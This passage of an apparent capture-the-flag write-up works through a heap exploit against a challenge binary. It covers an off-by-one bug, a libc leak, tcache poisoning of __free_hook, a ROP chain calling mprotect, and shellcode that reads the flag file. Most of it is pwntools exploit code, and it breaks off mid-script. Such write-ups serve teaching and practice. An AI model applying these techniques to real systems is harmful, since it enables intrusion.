<span class="p">}</span>
<span class="k">return</span> <span class="n">k</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>From here we have that, there’s 2 arrays on the <code class="highlighter-rouge">BSS</code> with six entries, one with <code class="highlighter-rouge">chunk pointers</code> and other with the respectives <code class="highlighter-rouge">dream size</code>. note that the <code class="highlighter-rouge">input</code> is no-null terminated, so we can abuse this to obtain an <code class="highlighter-rouge">oob read</code>.
Another thing to notice, is that the index returned is the <code class="highlighter-rouge">first null found</code>.</p>
<p>The <code class="highlighter-rouge">delete()</code> function is the following.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="kt">void</span> <span class="n">delete</span><span class="p">(</span><span class="kt">void</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">idx</span><span class="p">;</span>
<span class="n">idx</span> <span class="o">=</span> <span class="n">read_index</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">idx</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="cm">/* Free the dreams[idx];
and Zero both arrays of dreams
dreams[idx];
dreams_size[idx]; */</span>
<span class="n">free</span><span class="p">(</span><span class="n">dreams</span><span class="p">[</span><span class="n">idx</span><span class="p">]);</span>
<span class="n">dreams</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">;</span>
<span class="n">dreams_size</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Dream deleted."</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Nothing interesting here, it <code class="highlighter-rouge">free</code> the entry, and <code class="highlighter-rouge">null</code> the <code class="highlighter-rouge">chunk and sizes entries</code>.</p>
<p>The <code class="highlighter-rouge">edit()</code> function, is the following.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">edit</span><span class="p">(</span><span class="kt">void</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">idx</span><span class="p">;</span>
<span class="kt">ssize_t</span> <span class="n">amount</span><span class="p">;</span>
<span class="n">idx</span> <span class="o">=</span> <span class="n">read_index</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">idx</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"New dream content: "</span><span class="p">);</span>
<span class="n">amount</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">dreams</span><span class="p">[</span><span class="n">idx</span><span class="p">],(</span><span class="kt">long</span><span class="p">)</span><span class="n">dreams_size</span><span class="p">[</span><span class="n">idx</span><span class="p">]);</span>
<span class="cm">/* off by one bug,
setting a nullbyte on the last+1 byte */</span>
<span class="n">dreams</span><span class="p">[</span><span class="n">idx</span><span class="p">][(</span><span class="kt">int</span><span class="p">)</span><span class="n">amount</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>From here, we can see that the function reads <code class="highlighter-rouge">dreams_size</code> bytes, and add a <code class="highlighter-rouge">null-byte</code> after that read. which means that we have an <code class="highlighter-rouge">off by one</code> bug here.</p>
<p>The view function is the following</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">view</span><span class="p">(</span><span class="kt">void</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">idx</span><span class="p">;</span>
<span class="n">idx</span> <span class="o">=</span> <span class="n">read_index</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">idx</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Dream content: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">dreams</span><span class="p">[</span><span class="n">idx</span><span class="p">]);</span>
<span class="p">}</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This allows us to view a <code class="highlighter-rouge">chunk content</code>, nothing fancy.</p>
<h1 id="exploitation">Exploitation</h1>
<p>Now that we understand what the program does, and the respective bugs that it have, the plan to pwn this is the following:</p>
<ul>
<li>Malloc a enough size chunk to not end in tcache (>0x410) .</li>
<li>Free that chunk letting it go to the <code class="highlighter-rouge">unsorted bins</code>.</li>
<li>Get the chunk from the <code class="highlighter-rouge">unsorted bin</code>, since it is not zeroed by the program, by viewing the chunk, we can get a leak from the <code class="highlighter-rouge">fd and bk</code>.</li>
<li>malloc a couple of <code class="highlighter-rouge">tcache sized</code> chunks and a big chunk after that.</li>
<li>Edit the <code class="highlighter-rouge">big_chunk - 1</code> chunk and overwrite the <code class="highlighter-rouge">big_chunk.prev_size</code> and the <code class="highlighter-rouge">big_chunk.prev_inuse</code> bit to zero with the <code class="highlighter-rouge">off by one bug</code>.</li>
<li>Free the first <code class="highlighter-rouge">big_chunk</code> and the last <code class="highlighter-rouge">free_chunk</code>, since the <code class="highlighter-rouge">&last_chunk - last_chunk.prev_size</code> points to the first <code class="highlighter-rouge">big chunk</code> and the <code class="highlighter-rouge">last_chunk.prev_inuse</code> is unset, it will do a <code class="highlighter-rouge">backwards consolidation</code>, placing a veeeeeery <code class="highlighter-rouge">big chunk</code> into the unsorted bin, starting where the <code class="highlighter-rouge">first big chunk</code> was.</li>
<li>By allocating again a big chunk, it will be the <code class="highlighter-rouge">consolidated chunk</code> placed at the unsorted bin.</li>
<li>Overwrite the <code class="highlighter-rouge">fd</code> pointer of the <code class="highlighter-rouge">tcache's</code> chunks that are inside the <code class="highlighter-rouge">big chunk</code>.</li>
<li>Do <code class="highlighter-rouge">malloc</code> in order to get a <code class="highlighter-rouge">chunk</code> pointing to the <code class="highlighter-rouge">heap_base</code> and the <code class="highlighter-rouge">free_hook</code> by doing <code class="highlighter-rouge">tcache poisoning</code>.</li>
<li>Overwrite the <code class="highlighter-rouge">__free_hook</code> with a gadget that lets us start a mini <code class="highlighter-rouge">rop chain</code>. (use the read_int() bytes to achieve this).</li>
<li>Change <code class="highlighter-rouge">rsp</code> to a <code class="highlighter-rouge">heap chunk</code>.</li>
<li>Do <code class="highlighter-rouge">rop</code> in order to <code class="highlighter-rouge">mprotect(heap, 0x1000, RWX)</code>, (or do a big <code class="highlighter-rouge">ropchain</code>).</li>
<li>Execute the heap. :)</li>
</ul>
<p>With that said, starting the <code class="highlighter-rouge">exploit skeleton</code>. (I’ll comment the code in order to understand each line)</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="n">context</span><span class="p">(</span><span class="n">terminal</span><span class="o">=</span><span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'split-window'</span><span class="p">,</span><span class="s">'-v'</span><span class="p">])</span>
<span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s">"linux"</span><span class="p">,</span> <span class="n">arch</span><span class="o">=</span><span class="s">"amd64"</span><span class="p">)</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"debug"</span>
<span class="n">p_name</span> <span class="o">=</span> <span class="s">"./inception"</span> <span class="c1">## change for the challenge name
</span><span class="n">DEBUG</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">p_name</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./libc.so.6"</span><span class="p">)</span>
<span class="k">if</span> <span class="n">DEBUG</span><span class="p">:</span>
<span class="n">commands</span> <span class="o">=</span> <span class="s">'''continue
b * add
b * delete
b * edit
b * view
b * {long long int}(&__free_hook)
'''</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">gdb</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="n">p_name</span><span class="p">],</span> <span class="n">gdbscript</span> <span class="o">=</span> <span class="n">commands</span><span class="p">,</span> <span class="n">exe</span> <span class="o">=</span> <span class="n">p_name</span><span class="p">,</span> <span class="n">env</span> <span class="o">=</span> <span class="p">{</span><span class="s">"LD_PRELOAD"</span><span class="p">:</span><span class="s">"./libc.so.6"</span><span class="p">})</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"remote2.thcon.party"</span><span class="p">,</span><span class="mi">10904</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">f</span><span class="p">():</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"> "</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">malloc</span><span class="p">(</span><span class="n">size</span><span class="p">,</span> <span class="n">content</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">'1'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">b</span><span class="s">'size: '</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">b</span><span class="s">'content: '</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">content</span><span class="p">)</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">delete</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">'2'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="n">b</span><span class="s">"index: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">edit</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span> <span class="n">content</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">'3'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="n">b</span><span class="s">"index: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">)</span> <span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="n">b</span><span class="s">'content: '</span><span class="p">,</span> <span class="n">content</span> <span class="p">)</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">view</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span> <span class="n">leak</span> <span class="o">=</span> <span class="bp">False</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">'4'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="n">b</span><span class="s">'index: '</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
<span class="k">if</span> <span class="n">leak</span><span class="p">:</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"content: "</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()[</span><span class="o">-</span><span class="mi">6</span><span class="p">:]</span>
<span class="k">print</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">return</span> <span class="n">leak</span>
<span class="n">f</span><span class="p">()</span>
<span class="c1">## begin
</span><span class="n">f</span><span class="p">()</span>
<span class="n">malloc</span><span class="p">(</span><span class="mh">0x500</span><span class="o">-</span><span class="mi">8</span> <span class="p">,</span> <span class="n">b</span><span class="s">'B'</span> <span class="o">*</span> <span class="mh">0x4</span><span class="p">)</span> <span class="c1"># idx 0 is returned
</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x30</span> <span class="p">,</span> <span class="n">b</span><span class="s">'C'</span> <span class="o">*</span> <span class="mh">0x4</span><span class="p">)</span> <span class="c1"># idx 1 is returned
</span><span class="n">delete</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="c1"># idx 0 removed, chunk placed in unsorted bin
</span>
<span class="n">malloc</span><span class="p">(</span><span class="mh">0x500</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span> <span class="n">b</span><span class="s">'B'</span> <span class="o">*</span> <span class="mh">0x8</span><span class="p">)</span> <span class="c1"># idx 0 returned, since its not zeroed, and no null-byte terminated, we can view the libc leak from here by viewing the chunk
</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">view</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">leak</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">leak</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="n">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span>
<span class="n">libc_base</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="mh">0x3ebca0</span>
<span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">libc_base</span>
<span class="n">free_hook</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s">'__free_hook'</span><span class="p">]</span>
<span class="n">mprotect</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s">'mprotect'</span><span class="p">]</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Libc leak: </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span> <span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Libc base: </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">)</span> <span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Free_hook: </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s">'__free_hook'</span><span class="p">])</span> <span class="p">)</span>
</code></pre></div></div>
<p><img src="assets/2021_06_14_03_28_35.png" alt="" /></p>
<p>With the libc base, we can <code class="highlighter-rouge">malloc tcache's</code> chunks in between and another big chunk at the end.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#....
</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Libc leak: </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span> <span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Libc base: </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">)</span> <span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Free_hook: </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s">'__free_hook'</span><span class="p">])</span> <span class="p">)</span>
<span class="n">malloc</span><span class="p">(</span><span class="mh">0x50</span> <span class="o">-</span> <span class="mi">8</span> <span class="p">,</span> <span class="n">b</span><span class="s">'D'</span> <span class="o">*</span> <span class="mh">0x4</span><span class="p">)</span> <span class="c1"># idx 2 is returned
</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x70</span> <span class="o">-</span> <span class="mi">8</span> <span class="p">,</span> <span class="n">b</span><span class="s">'E'</span> <span class="o">*</span> <span class="mh">0x4</span><span class="p">)</span> <span class="c1"># idx 3 is returned
</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x500</span> <span class="o">-</span> <span class="mi">8</span><span class="p">,</span> <span class="n">b</span><span class="s">'F'</span> <span class="o">*</span> <span class="mh">0x4</span><span class="p">)</span> <span class="c1"># idx 4 is returned
</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x20</span> <span class="p">,</span> <span class="n">b</span><span class="s">'E'</span> <span class="o">*</span> <span class="mh">0x4</span><span class="p">)</span> <span class="c1"># idx 5 is returned
</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">b</span><span class="s">''</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'Y'</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0x70</span> <span class="o">-</span> <span class="mh">0x10</span> <span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span> <span class="mh">0x600</span> <span class="p">)</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span> <span class="c1"># overwrite the dream[idx=4] prev_size and prev_inuse, in order to make it consolidate backwards
</span>
<span class="n">delete</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="c1"># place the first big chunk in to the unsorted bin
</span><span class="n">delete</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="c1"># free a tcache chunk
</span><span class="n">delete</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="c1"># free a tcache chunk
</span><span class="n">delete</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span> <span class="c1"># Consolidate the big chunk backwards.
</span>
</code></pre></div></div>
<p>Note that the <code class="highlighter-rouge">small chunks</code> are inside of the memory region of the consolidated big chunk.</p>
<p><img src="assets/2021_06_14_03_33_36.png" alt="" /></p>
<p>With this, we can now <code class="highlighter-rouge">malloc a big chunk</code> in order to get it from the <code class="highlighter-rouge">unsorted bin</code> and write on it in order to overwrite the <code class="highlighter-rouge">tiny_chunk.fd</code> pointer to do a <code class="highlighter-rouge">tcache poisoning attack</code>.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="c1"># ....
</span><span class="n">payload</span> <span class="o">=</span> <span class="n">b</span><span class="s">''</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'A'</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0x4f0</span> <span class="o">+</span> <span class="mi">24</span><span class="p">)</span>
<span class="n">malloc</span><span class="p">(</span><span class="mh">0x600</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span> <span class="c1"># idx 0 is returned from the unsorted bin.
</span>
<span class="n">heap_base</span> <span class="o">=</span> <span class="n">view</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">leak</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
<span class="n">heap_base</span> <span class="o">=</span> <span class="n">heap_base</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="n">heap_base</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">heap_base</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x10</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"The heap: @ </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">heap_base</span><span class="p">)</span> <span class="p">)</span>
<span class="c1"># make a payload to overwite the chunk.fd pointer to the chunks that are placed inside this chunk memory region
</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">b</span><span class="s">''</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'A'</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0x4f0</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x40</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s">'__free_hook'</span><span class="p">])</span> <span class="c1"># overwrite the fd pointer of a 0x40 chunk. The second malloc, will return a reference to &__free_hook
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'A'</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0x8</span> <span class="o">*</span> <span class="mi">5</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x51</span><span class="p">)</span> <span class="c1"># do the sabe for the 0x51 sized chunk, but this time, with the heap_base (this will break the entire heap)
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span><span class="p">)</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>
<p>At this point we successfully overwrite the <code class="highlighter-rouge">fd</code> pointer of each <code class="highlighter-rouge">tcache chunk</code>.</p>
<p><img src="assets/2021_06_14_03_40_10.png" alt="" /></p>
<p>With this done, we need <code class="highlighter-rouge">4 malloc()</code> in order to get a reference to the <code class="highlighter-rouge">__free_hook</code> and the <code class="highlighter-rouge">heap base</code>.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># ...
</span>
<span class="n">malloc</span><span class="p">(</span><span class="mh">0x40</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span><span class="p">)</span> <span class="p">)</span> <span class="c1"># idx 1 is returned, dummy malloc, now &heap_base is placed in the top of the tcache
</span>
<span class="c1"># usefull gadgets
</span><span class="n">pop_4</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">address</span><span class="o">+</span><span class="mh">0x00000000000221fd</span> <span class="o">+</span><span class="mi">1</span><span class="c1"># : pop r13; pop r14; pop r15; pop rbp; ret;
</span><span class="n">rcx</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">+</span><span class="mh">0x0000000000103d6a</span> <span class="c1">#: pop rcx; pop rbx; ret;
</span><span class="n">rdi</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">+</span> <span class="mh">0x0000000000022203</span> <span class="c1"># : pop rdi; pop rbp; ret;
</span><span class="n">rsi</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">+</span> <span class="mh">0x0000000000023eea</span> <span class="c1"># : pop rsi; ret
</span><span class="n">rdx</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">+</span> <span class="mh">0x0000000000001b96</span> <span class="c1"># : pop rdx; ret;
</span><span class="n">rdx_nopop</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">+</span> <span class="mh">0x000000000014148d</span> <span class="c1"># : mov rdx, rax; ret;
</span>
<span class="n">delete</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span> <span class="c1"># Delete the last tiny entry in order to get the `heap base` chunk reference (max 6 entries).
</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x40</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">pop_4</span><span class="p">)</span> <span class="p">)</span> <span class="c1"># idx 2 is returned which is the __free_hook chunk, replace it with that pop_4 gadget
</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x50</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span> <span class="n">b</span><span class="s">'B'</span><span class="p">)</span> <span class="c1"># idx 4 is returned, one more to get a `heap base reference`.
</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x50</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span> <span class="n">b</span><span class="s">'C'</span><span class="p">)</span> <span class="c1"># idx 5 is returned, heap base reference
</span>
</code></pre></div></div>
<p>With this done, now, we can abuse the <code class="highlighter-rouge">0x28 bytes</code> on the <code class="highlighter-rouge">read_int()</code> function.
Delete a chunk and send the <code class="highlighter-rouge">payload</code> as the “integer”.
The function will parse the integer correctly, but our payload <code class="highlighter-rouge">24 bytes</code> will be placed on the stack.
Since we overwrite the <code class="highlighter-rouge">__free_hook</code> with a <code class="highlighter-rouge">4 pop - gadget</code>, we can reach our payload on the stack to start our <code class="highlighter-rouge">ropchain</code>.</p>
<p><img src="assets/2021_06_14_03_53_27.png" alt="" /></p>
<p>Since we just have <code class="highlighter-rouge">32 bytes</code> to do the ropchain, I made the <code class="highlighter-rouge">rsp</code> register to point to the <code class="highlighter-rouge">heap</code> in order to get a bigger ropchain.</p>
<p><img src="assets/2021_06_14_03_55_37.png" alt="" /></p>
<p>With that done, we can now:</p>
<ul>
<li>call <code class="highlighter-rouge">mprotect(heap, 0x1000, 0x7)</code> in order to make the <code class="highlighter-rouge">heap executable</code>.</li>
<li>Jump to the heap placed <code class="highlighter-rouge">shellcode</code>.</li>
<li>Read the flag.</li>
</ul>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#...
</span>
<span class="n">yesno</span><span class="p">(</span><span class="s">"Trigger mprotect ?"</span><span class="p">)</span>
<span class="n">main_rop</span> <span class="o">=</span> <span class="n">b</span><span class="s">''</span>
<span class="n">main_rop</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rdx</span><span class="p">)</span> <span class="c1"># main rop placed on the heap.
</span><span class="n">main_rop</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x7</span><span class="p">)</span> <span class="c1"># 0x7 for RWX (third argument)
</span><span class="n">main_rop</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s">'mprotect'</span><span class="p">])</span> <span class="c1"># call mprotect
</span><span class="n">main_rop</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x260</span> <span class="o">+</span> <span class="mi">32</span><span class="p">)</span> <span class="c1"># ret to the heab shellcode.
</span><span class="n">main_rop</span> <span class="o">+=</span> <span class="n">asm</span><span class="p">(</span><span class="s">'''xor rax, rax
lea rdi, [rsp + 0x3e]
xor rsi, rsi
xor rdx, rdx
xor rax, rax
inc rax
inc rax
syscall
mov rdi, rax
lea rsi, [rsp+0x100]
mov rdx, 40
xor rax, rax
syscall
xor rdi, rdi
inc rdi
xor rax, rax
inc rax
syscall
'''</span><span class="p">)</span>
<span class="n">main_rop</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'/home/user/flag.txt</span><span class="se">\x00</span><span class="s">'</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">main_rop</span><span class="p">)</span> <span class="c1"># edit the bigger chunk in order to place the bigger ropchain
</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">b</span><span class="s">'5'</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="n">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span> <span class="c1"># place the tiny ropchain on the stack abusing the read_int() fucntion
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">''</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">+</span> <span class="mh">0x0000000000003960</span><span class="p">)</span>
